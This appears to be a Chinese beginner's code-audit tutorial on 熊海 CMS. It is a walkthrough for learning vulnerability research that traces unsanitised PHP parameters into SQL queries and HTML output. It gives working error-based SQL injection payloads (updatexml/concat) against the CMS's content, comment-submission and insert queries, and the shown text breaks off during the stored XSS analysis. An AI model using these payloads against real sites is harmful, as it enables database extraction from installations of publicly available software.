初级代码审计之熊海 CMS 源码审计

代码审计 2019-11-09

笔者为代码审计的小白,能看的懂 php 代码但是没有上手过,你要是和我一样的,那么我觉得这篇文章可以给你一个良好的开端。篇幅很长,所以也希望大家能够将源码下载下来实际操作一番。

环境:

熊海 CMS 源码 + phpstorm

我们首先来总结一下这篇文章所涉及的代码审计漏洞(为了多列出不同的漏洞,每一种漏洞这套 cms 都有数个,这里没有一一列举出来):

1、sql 注入(报错、时间盲注/get、post)

2、xss (存储)

3、文件包含

4、逻辑漏洞(后台登录绕过、CSRF)

cms 网上到处都有下载的,目录结构如下:

admin//后台文件 css//css 文件 files//功能函数文件 images//存放图片 inc//配置文件 install//安装文件 seacmseditor//第三方编辑器 template//模板文件 upload//文件上传目录 index.php//主目录 使用说明.txt//说明文件

报错注入_1

首先打开 index.php 文件:

<?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判断为空或者等于 indexinclude('files/'.$action.'.php'); //载入相应文件?>

会接受一个 r 参数,然后跳转到 r.php 文件,r 为空则会包含 files/index.php 文件,跟踪这个文件:

files/index.php line 34

<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>

这里有个 a 标签的跳转,接收 r=content,那么肯定就是包含了 content.php文件了,后面还有一个 cid ,我们来分析一下是什么。

<?php require 'inc/301.php';require 'inc/conn.php';require 'inc/time.class.php';$query = "SELECT * FROM settings";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$info = mysql_fetch_array($resul);?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title><?php echo $info['title']?></title><meta name="keywords" content="<?php echo $info['keywords']?>" /><meta name="description" content="<?php echo $info['description']?>" /><meta name="version" content="seacms V1.0.0310" /><?php require 'template/header.php';?><div class="barn"><div id="body"><div id="imgtext"><strong>Oh,Perfect</strong><span>个人免费开源程序倡导者</span></div><img src="images/banner.jpg"></div></div><div id="body"><div class="div1"><div class="toutiaoimg"><?php$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC  LIMIT 1";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$toutiaoimg = mysql_fetch_array($resul);

跟踪这个 $toutiaoimg, 发现是从数据库中查询 "SELECT * FROM settings" 结果中的一个 cid 值:

img

这里的 id 值为 1 了,那么跳转的 url 就是

http://127.0.0.1/index.php?r=content&cid=1

这里我们继续跟踪 content.php 文件。

<?php require 'inc/conn.php';require 'inc/time.class.php';$query = "SELECT * FROM settings";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);$query = "SELECT * FROM content WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$content = mysql_fetch_array($resul);
$navid=$content['navclass'];$query = "SELECT * FROM navclass WHERE id='$navid'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$navs = mysql_fetch_array($resul);
//浏览计数$query = "UPDATE content SET hit = hit+1 WHERE id=$id";@mysql_query($query) or die('修改错误:'.mysql_error());?><?php$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");$pinglunzs = mysql_num_rows($query)?>

这里有很多将参数代入查询的语句,发现 cid 开始做了 addslashes 处理,这种情况就只能看是否是 GBK 的方式连接数据库来进行宽字节注入了,那个用引号包裹起来的cid就比较的鸡肋,那有没有没有被引号包裹起来的呢。

line 19

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

这里是一个 UPDATE 语句查询,很明显有注入了。对于 update 注入,很明显涉及到我的知识盲区了,仔细分析一下:

and 1=1 //正确 and 1=2 //正确 and sleep(5)//延时成功

老办法,看大牛文章,然后看脑子它吸收不吸收了,主要是盲注和报错注入。

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

原理可以看一下 updatexml 语法,基本上可以理解为我们写入的参数执行后不符合规定的逻辑而报错。

那么我们这里的整体的 payload 就是:

http://127.0.0.1/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

img

这里能运用报错注入还有一个条件,就是要有回显

@mysql_query($query) or die('修改错误:'.mysql_error());

当然,这里利用时间盲注也是可以的,笔者认为报错注入比较直观,时间盲注这一部分就不写了。

报错注入_2

我们继续往下看,有一个 form 表单提交的地方:

line 153-172

<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div><form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>"><input name="cid" type="hidden" value="<?php echo $id?>"/><ul><li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li><li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li><li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li><textarea name="content" cols="" rows=""></textarea><input name="save" type="submit"  value="提交" id="input2"/><div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span></div><div id="xx"><span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span><span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span></div>
<div id="qcfd"></div></ul></form></div>

请求为 r=submit,所以定位到 submit.php

<?phpsession_start();require 'inc/conn.php';$type=addslashes($_GET['type']);$name=$_POST['name'];$mail=$_POST['mail'];$url=$_POST['url'];$content=$_POST['content'];$cid=$_POST['cid'];$ip=$_SERVER["REMOTE_ADDR"];$tz=$_POST['tz'];if ($tz==""){$tz=0;}$jz=$_POST['jz'];

除了 type,其他的参数都没有进行转换,继续找 sql 语句 (line 66)

$query = "SELECT * FROM interaction WHERE( mail = '$mail')";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

好了,很容易写 payload 了吧:

1111@qq.com') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

img

报错注入_3

接着 submit.php 往下看,看到了一个 insert into 的语句吧:

$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";@mysql_query($query) or die('新增错误:'.mysql_error());****

line 121-148

这里一样的由于前面没有对这些参数进行过滤,这里将参数直接 insert 插入到数据库当中,试试 insert 注入:

asdsad' or updatexml(1,concat(0x7e,(database())),0) or'

img

报错注入_4

上面看 content 这一块代码基本上就弄完了,我们继续看看其他的功能点,主页上还有下载的功能:

img

url 的链接为:

http://127.0.0.1/?r=software&cid=1

我们就打开 software.php , 要是你看懂了上面的文章的话,看到里面的源码基本上就能直接的看出注入点了:

line 7 对 cid 参数进行了 addslashes 处理

line 8-9 有利用的条件,但是 sql 语句中加上了引号显得比较的鸡肋

line 13-14 可以利用

img

这套 CMS 还存在其他的一些注入,笔者由于篇幅原因就不一一列举出来了,对于挖掘 sql 注入的审计,只要将参数代入了 sql 语句的地方都可以进行尝试,接下来看看其他的一些漏洞吧。

XSS

这里是留言的地方出现了问题,弹出的框框如下:

我们来分析一下原理:

files/content.php(line 107-119)

<div class="userinfo"><div class="lou">#<?php echo $pinglun['id']?> 楼</div><?php if ($pinglun['url']<>""){?> <a href="<?php echo $pinglun['url']?>" target="_blank" ><img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"></a><?php }else{?> <img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"><?php }?><strong><a href="<?php echo $pinglun['url']?>" target="_blank"><?php echo $pinglun['name']?></a><span>Lv 1</span></strong><li>位置:<a><?php echo $pinglun['ip']?></a></li><li>时间:<a><?php echo tranTime(strtotime($pinglun['date']))?></a></li><li>来自:<a><?php echo $pinglun['shebei']?></a></li></div><div class="content">

这里是从 $pinglun 这个变量中取出其中的信息,跟踪这个变量到了 line100-101


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论